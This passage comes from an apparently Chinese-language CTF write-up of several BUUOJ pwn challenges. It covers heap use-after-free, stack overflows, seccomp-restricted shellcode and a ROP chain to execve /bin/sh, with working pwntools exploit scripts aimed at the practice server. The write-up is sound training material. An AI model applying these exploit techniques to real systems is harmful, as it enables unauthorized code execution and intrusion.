<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; bin</span><br><span class="line">fastbins</span><br><span class="line">0x10: 0x0</span><br><span class="line">0x18: 0x0</span><br><span class="line">0x20: 0x0</span><br><span class="line">0x28: 0x923a048 —▸ 0x923a010 ◂— 0x0</span><br><span class="line">0x30: 0x0</span><br><span class="line">0x38: 0x0</span><br><span class="line">0x40: 0x0</span><br><span class="line">unsortedbin</span><br><span class="line">all: 0x0</span><br><span class="line">smallbins</span><br><span class="line">empty</span><br><span class="line">largebins</span><br><span class="line">empty</span><br></pre></td></tr></table></figure>

<p>exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#io = process(&quot;./hacknote&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node3.buuoj.cn&quot;</span>,<span class="number">29112</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./hacknote&#x27;</span>)</span><br><span class="line">magic_addr=elf.symbols[<span class="string">&#x27;magic&#x27;</span>]</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add_note</span>(<span class="params">size,payload</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Your choice :&quot;</span>)</span><br><span class="line">	io.sendline(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(size))</span><br><span class="line">	io.recvuntil(<span class="string">&quot;Content :&quot;</span>)</span><br><span class="line">	io.sendline(payload)</span><br><span class="line">	io.recvuntil(<span class="string">&quot;Success !&quot;</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">print_note</span>(<span class="params">index</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Your choice :&quot;</span>)</span><br><span class="line">	io.sendline(<span class="string">&quot;3&quot;</span>)</span><br><span class="line">	io.recvuntil(<span class="string">&quot;Index :&quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(index))</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete_note</span>(<span class="params">index</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Your choice :&quot;</span>)</span><br><span class="line">	io.sendline(<span class="string">&quot;2&quot;</span>)</span><br><span class="line">	io.recvuntil(<span class="string">&quot;Index :&quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(index))</span><br><span class="line">add_note(<span class="number">0x20</span>,<span class="string">&quot;aaaa&quot;</span>)</span><br><span class="line">add_note(<span class="number">0x20</span>,<span class="string">&quot;bbbb&quot;</span>)</span><br><span class="line">delete_note(<span class="number">0</span>)</span><br><span class="line">delete_note(<span class="number">1</span>)</span><br><span class="line">add_note(<span class="number">8</span>,p32(magic_addr))</span><br><span class="line">print_note(<span class="number">0</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>





<h2 id="0x27-picoctf-2018-buffer-overflow-1"><a href="#0x27-picoctf-2018-buffer-overflow-1" class="headerlink" title="0x27.picoctf_2018_buffer overflow 1"></a>0x27.picoctf_2018_buffer overflow 1</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">vuln</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v0; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> s[<span class="number">40</span>]; <span class="comment">// [esp+0h] [ebp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  gets(s);</span><br><span class="line">  v0 = get_return_address();</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;Okay, time to return... Fingers Crossed... Jumping to 0x%x\n&quot;</span>, v0);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">win</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+Ch] [ebp-4Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;flag.txt&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(</span><br><span class="line">      <span class="string">&quot;Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#io = process(&quot;./PicoCTF_2018_buffer_overflow_1&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node3.buuoj.cn&quot;</span>,<span class="number">27682</span>)</span><br><span class="line">win_add = <span class="number">0x80485CB</span></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x28</span>+<span class="number">4</span>) + p32(win_add)</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x28-pwnable-orw"><a href="#0x28-pwnable-orw" class="headerlink" title="0x28.pwnable_orw"></a>0x28.pwnable_orw</h2><p>挺有意思的一个题。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ checksec orw </span><br><span class="line">[*] &#x27;/home/gwt/Desktop/orw&#x27;</span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX disabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br><span class="line">    RWX:      Has RWX segments</span><br></pre></td></tr></table></figure>

<p>开了canary。</p>
<p>这题其实就是往里面写shellcode，但是写入到shellcode有要求。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  orw_seccomp();</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Give my your shellcode:&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, &amp;shellcode, <span class="number">0xC8</span>u);</span><br><span class="line">  ((<span class="keyword">void</span> (*)(<span class="keyword">void</span>))shellcode)();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="title">orw_seccomp</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  __int16 v1; <span class="comment">// [esp+4h] [ebp-84h] BYREF</span></span><br><span class="line">  <span class="keyword">char</span> *v2; <span class="comment">// [esp+8h] [ebp-80h]</span></span><br><span class="line">  <span class="keyword">char</span> v3[<span class="number">96</span>]; <span class="comment">// [esp+Ch] [ebp-7Ch] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v4; <span class="comment">// [esp+6Ch] [ebp-1Ch]</span></span><br><span class="line"></span><br><span class="line">  v4 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  qmemcpy(v3, &amp;unk_8048640, <span class="keyword">sizeof</span>(v3));</span><br><span class="line">  v1 = <span class="number">12</span>;</span><br><span class="line">  v2 = v3;</span><br><span class="line">  prctl(<span class="number">38</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line">  prctl(<span class="number">22</span>, <span class="number">2</span>, &amp;v1);</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14</span>u) ^ v4;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<blockquote>
<p>  seccomp 是 secure computing 的缩写，其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里，大量的系统调用（system call）直接暴露给用户态程序。但是，并不是所有的系统调用都被需要，而且不安全的代码滥用系统调用会对系统造成安全威胁。</p>
<p>  seccomp安全机制能使一个进程进入到一种“安全”运行模式，该模式下的进程只能调用4种系统调用（system call），即 read(), write(), exit() 和 sigreturn()，否则进程便会被终止。</p>
</blockquote>
<p>执行了两次prctl函数。</p>
<blockquote>
<p>  第一次调用prctl函数 ————禁止提权 </p>
<p>  第二次调用prctl函数 ————限制能执行的系统调用只有open，write，exit</p>
</blockquote>
<p>那么就是，打开文件，读flag文件，然后输出flag文件内容。</p>
<ul>
<li>打开flag，sys_open(file,0,0)，系统调用号为5</li>
</ul>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">push 0x0	#字符串结尾</span><br><span class="line">push 0x67616c66 #flag</span><br><span class="line">mov ebx,esp</span><br><span class="line">xor ecx,ecx			#0</span><br><span class="line">xor edx,edx			#0</span><br><span class="line">mov eax,0x5</span><br><span class="line">int 0x80</span><br></pre></td></tr></table></figure>

<ul>
<li>读文件，sys_read(fd&#x3D;3,file,0x30)，系统调用号为3</li>
</ul>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">mov eax,0x3</span><br><span class="line">mov ecx,ebx</span><br><span class="line">mov ebx,0x3  #fd</span><br><span class="line">mov edx,0x30</span><br><span class="line">int 0x80</span><br></pre></td></tr></table></figure>

<ul>
<li>输出，sys_write(1,file,0x30)，系统调用号为4</li>
</ul>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mov eax,0x4</span><br><span class="line">mov ebx,0x1</span><br><span class="line">int 0x80</span><br></pre></td></tr></table></figure>

<p>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#io = remote(&quot;node3.buuoj.cn&quot;, 27008)</span></span><br><span class="line">io = process(<span class="string">&quot;./orw&quot;</span>)</span><br><span class="line">shellcode = asm(<span class="string">&#x27;push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80&#x27;</span>)</span><br><span class="line">shellcode+=asm(<span class="string">&#x27;mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80&#x27;</span>)</span><br><span class="line">shellcode+=asm(<span class="string">&#x27;mov eax,0x4;mov ebx,0x1;int 0x80&#x27;</span>)</span><br><span class="line">io.sendlineafter(<span class="string">&#x27;shellcode:&#x27;</span>, shellcode)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x29-wustctf2020-getshell"><a href="#0x29-wustctf2020-getshell" class="headerlink" title="0x29.wustctf2020_getshell"></a>0x29.wustctf2020_getshell</h2><p>一个水题。</p>
<p>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#io = process(&quot;./wustctf2020_getshell&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node3.buuoj.cn&quot;</span>,<span class="number">27728</span>)</span><br><span class="line">back_door = <span class="number">0x0804851B</span></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x18</span>+<span class="number">4</span>)+p32(back_door)</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x2A-cmcc-simplerop"><a href="#0x2A-cmcc-simplerop" class="headerlink" title="0x2A.cmcc_simplerop"></a>0x2A.cmcc_simplerop</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ file simplerop </span><br><span class="line">simplerop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=bdd40d725b490b97d5a25857a6273870c7de399f, not stripped</span><br><span class="line">gwt@ubuntu:~/Desktop$ checksec simplerop </span><br><span class="line">[*] &#x27;/home/gwt/Desktop/simplerop&#x27;</span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br><span class="line">gwt@ubuntu:~/Desktop$ </span><br></pre></td></tr></table></figure>

<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v4; <span class="comment">// [esp+1Ch] [ebp-14h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;ROP is easy is&#x27;nt it ?&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Your input :&quot;</span>);</span><br><span class="line">  fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, &amp;v4, <span class="number">100</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>ida显示偏移是0x14，可以调试下。</p>
<p>使用cyclic生成一些测试的字符。</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~$ cyclic 200</span><br><span class="line">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab</span><br></pre></td></tr></table></figure>

<p>可以看出偏移：</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Program received signal SIGSEGV (fault address 0x61616169)</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> cyclic -l 0x61616169</span></span><br><span class="line">32</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> </span></span><br></pre></td></tr></table></figure>

<p>是32 ，也就是0x20，（这里ida出了问题）</p>
<p>存在int 0x80 中断指令</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ ROPgadget --binary simplerop --ropchain | grep &#x27;int 0x80&#x27;</span><br><span class="line">0x08093b43 : add bh, al ; inc ebp ; test byte ptr [ecx], dl ; add byte ptr [eax], al ; int 0x80</span><br><span class="line">0x080493df : add byte ptr [eax], al ; int 0x80</span><br><span class="line">0x08092190 : add byte ptr [eax], al ; mov eax, edi ; mov ecx, 0x81 ; int 0x80</span><br><span class="line">0x08092191 : add byte ptr [ecx + 0x81b9f8], cl ; add byte ptr [eax], al ; int 0x80</span><br><span class="line">0x0806c421 : add dword ptr [eax], eax ; add byte ptr [eax], al ; int 0x80</span><br><span class="line">0x0806e908 : clc ; mov ecx, 0x80 ; int 0x80</span><br><span class="line">0x08092193 : clc ; mov ecx, 0x81 ; int 0x80</span><br><span class="line">0x08093b45 : inc ebp ; test byte ptr [ecx], dl ; add byte ptr [eax], al ; int 0x80</span><br><span class="line">0x080493e1 : int 0x80</span><br><span class="line">0x0807b3ea : ja 0x807b3f0 ; add byte ptr [eax], al ; int 0x80</span><br><span class="line">0x080b9851 : jp 0x80b985a ; int 0x80</span><br><span class="line">0x080b9a77 : jp 0x80b9a81 ; int 0x80</span><br><span class="line">0x08093b44 : mov dword ptr [ebp - 0x7c], 0x51 ; int 0x80</span><br><span class="line">0x080493d9 : mov dword ptr [esp + 0x2c], 0x51 ; int 0x80</span><br><span class="line">0x0807b3e9 : mov eax, 0x77 ; int 0x80</span><br><span class="line">0x0807b3e0 : mov eax, 0xad ; int 0x80</span><br><span class="line">0x0806c420 : mov eax, 1 ; int 0x80</span><br><span class="line">0x0806e907 : mov eax, edi ; mov ecx, 0x80 ; int 0x80</span><br><span class="line">0x08092192 : mov eax, edi ; mov ecx, 0x81 ; int 0x80</span><br><span class="line">0x0806e909 : mov ecx, 0x80 ; int 0x80</span><br><span class="line">0x08092194 : mov ecx, 0x81 ; int 0x80</span><br><span class="line">0x0806eeef : nop ; int 0x80</span><br><span class="line">0x0807b3df : nop ; mov eax, 0xad ; int 0x80</span><br><span class="line">0x0806eeee : nop ; nop ; int 0x80</span><br><span class="line">0x0807b3de : nop ; nop ; mov eax, 0xad ; int 0x80</span><br><span class="line">0x0806eeec : nop ; nop ; nop ; int 0x80</span><br><span class="line">0x0807b3dc : nop ; nop ; nop ; mov eax, 0xad ; int 0x80</span><br><span class="line">0x0806eeea : nop ; nop ; nop ; nop ; int 0x80</span><br><span class="line">0x0806eee8 : nop ; nop ; nop ; nop ; nop ; int 0x80</span><br><span class="line">0x0807b3e7 : nop ; pop eax ; mov eax, 0x77 ; int 0x80</span><br><span class="line">0x0806c41f : or byte ptr [eax + 1], bh ; int 0x80</span><br><span class="line">0x0807b3e8 : pop eax ; mov eax, 0x77 ; int 0x80</span><br><span class="line">0x0806c41e : push cs ; or byte ptr [eax + 1], bh ; int 0x80</span><br><span class="line">0x080b9a78 : push es ; int 0x80</span><br><span class="line">0x08093b42 : sldt edi ; inc ebp ; test byte ptr [ecx], dl ; add byte ptr [eax], al ; int 0x80</span><br><span class="line">0x08093b46 : test byte ptr [ecx], dl ; add byte ptr [eax], al ; int 0x80</span><br><span class="line">0x0806e905 : xor esi, esi ; mov eax, edi ; mov ecx, 0x80 ; int 0x80</span><br><span class="line">	[+] Gadget found: 0x80493e1 int 0x80</span><br><span class="line">	p += pack(&#x27;&lt;I&#x27;, 0x080493e1) # int 0x80</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">或者：</span><br><span class="line">gwt@ubuntu:~/Desktop$ ROPgadget --binary simplerop --only &quot;pop|ret&quot;</span><br><span class="line">Gadgets information</span><br><span class="line">============================================================</span><br><span class="line">0x0809da92 : pop ds ; pop ebx ; pop esi ; pop edi ; ret</span><br><span class="line">0x0807bf7d : pop ds ; ret</span><br><span class="line">0x0809da8a : pop eax ; pop ebx ; pop esi ; pop edi ; ret</span><br><span class="line">0x080bae06 : pop eax ; ret</span><br><span class="line">0x08071e3a : pop eax ; ret 0x80e</span><br><span class="line">0x0805b3ad : pop ebp ; pop ebx ; pop esi ; pop edi ; ret</span><br><span class="line">0x0809de85 : pop ebp ; pop esi ; pop edi ; ret</span><br><span class="line">0x0804838e : pop ebp ; ret</span><br><span class="line">0x080a96e5 : pop ebp ; ret 0x10</span><br><span class="line">0x080966d9 : pop ebp ; ret 0x14</span><br><span class="line">0x08070a36 : pop ebp ; ret 0xc</span><br><span class="line">0x0805ab34 : pop ebp ; ret 4</span><br><span class="line">0x08049bc0 : pop ebp ; ret 8</span><br><span class="line">0x0809de84 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret</span><br><span class="line">0x080bd793 : pop ebx ; pop edi ; ret</span><br><span class="line">0x0806e829 : pop ebx ; pop edx ; ret</span><br><span class="line">0x08091f08 : pop ebx ; pop esi ; pop ebp ; ret</span><br><span class="line">0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret</span><br><span class="line">0x080a96e2 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10</span><br><span class="line">0x080966d6 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14</span><br><span class="line">0x08070a33 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc</span><br><span class="line">0x0805ab31 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4</span><br><span class="line">0x08049bbd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8</span><br><span class="line">0x08048913 : pop ebx ; pop esi ; pop edi ; ret</span><br><span class="line">0x080499d9 : pop ebx ; pop esi ; pop edi ; ret 4</span><br><span class="line">0x08049a54 : pop ebx ; pop esi ; ret</span><br><span class="line">0x080481c9 : pop ebx ; ret</span><br><span class="line">0x080d797c : pop ebx ; ret 0x6f9</span><br><span class="line">0x08099937 : pop ebx ; ret 8</span><br><span class="line">0x0806e851 : pop ecx ; pop ebx ; ret</span><br></pre></td></tr></table></figure>

<p>存在：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">0x080bae06 : pop eax ; ret</span><br><span class="line">0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret</span><br></pre></td></tr></table></figure>

<p>系统调用：int80(11,”&#x2F;bin&#x2F;sh”,null,null)，其中后面的四个参数分别是eax,ebx,ecx,edx。</p>
<p>但是没有&#x2F;bin&#x2F;sh字符串，需要输入，有read函数，将binsh写入bss段，然后直接调用，这题没有开PIE，bss的地址就是绝对地址。</p>
<p>ebx：文件描述符</p>
<p>ecx：指向要写入的字符串的指针</p>
<p>edx：要写入的字符串长度</p>
<p>payload：</p>
<p><code>payload = &#39;a&#39;\*0x20 + p32(read_addr) + p32(pop_edcbx) + p32(0) + p32(binsh_addr) + p32(0x8)</code><br><code>payload += p32(pop_eax) + p32(0xb) + p32(pop_edcbx) + p32(0) +p32(0) + p32(binsh_addr) + p32(int_addr)</code></p>
<p>Exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./simplerop&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">26293</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./simplerop&#x27;</span>)</span><br><span class="line">int_80 = <span class="number">0x080493e1</span></span><br><span class="line">pop_eax = <span class="number">0x080bae06</span></span><br><span class="line">pop_edx_ecx_ebx = <span class="number">0x0806e850</span></span><br><span class="line">read_addr = elf.sym[<span class="string">&#x27;read&#x27;</span>]</span><br><span class="line">bss_bin_sh_addr = <span class="number">0x080EB590</span></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x20</span> </span><br><span class="line">payload += p32(read_addr)</span><br><span class="line">payload += p32(pop_edx_ecx_ebx)</span><br><span class="line">payload += p32(<span class="number">0</span>) </span><br><span class="line">payload += p32(bss_bin_sh_addr)</span><br><span class="line">payload += p32(<span 